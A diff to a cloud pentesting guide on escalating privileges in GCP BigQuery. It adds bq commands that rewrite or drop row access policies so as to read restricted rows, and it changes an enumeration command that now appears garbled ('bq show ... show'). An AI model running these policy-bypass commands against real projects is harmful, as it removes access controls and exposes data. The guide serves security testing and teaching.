GITBOOK-618: No subject

pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md

@@ -102,7 +102,7 @@ However, **using the cli `bq`** you need some more: **`bigquery.rowAccessPolicie
 
 {% code overflow="wrap" %}
 ```bash
-bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:[email protected]") FILTER USING (term = "Cfba");' # A example filter was used
+bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:[email protected]>") FILTER USING (term = "Cfba");' # A example filter was used
 ```
 {% endcode %}
 
@@ -116,6 +116,22 @@ It's possible to find the filter ID in the output of the row policies enumeratio
  apac_filter term = "Cfba" user:[email protected] 21 Jan 23:32:09 21 Jan 23:32:09
 ```
 
+If you have **`bigquery.rowAccessPolicies.delete`** instead of `bigquery.rowAccessPolicies.update` you could also just delete the policy:
+
+{% code overflow="wrap" %}
+```bash
+# Remove one
+bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
+
+# Remove all (if it's the last row policy you need to use this
+bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
+```
+{% endcode %}
+
+{% hint style="danger" %}
+Another potential option to bypass row access policies would be to just change the value of the restricted data. If you can only see when `term` is `Cfba`, just modify all the records of the table to have `term = "Cfba"`. However this is prevented by bigquery.
+{% endhint %}
+
 <details>
 
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pentesting-cloud/gcp-security/gcp-services/gcp-bigquery-enum.md

@@ -165,7 +165,7 @@ gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location
 
 # Get jobs executed
 bq ls --jobs=true --all=true
-bq --location=<location> show --format=prettyjson --job=true <job-id>
+bq show --location=<location> show --format=prettyjson --job=true <job-id>
 
 # Misc
 bq show --encryption_service_account # Get encryption service account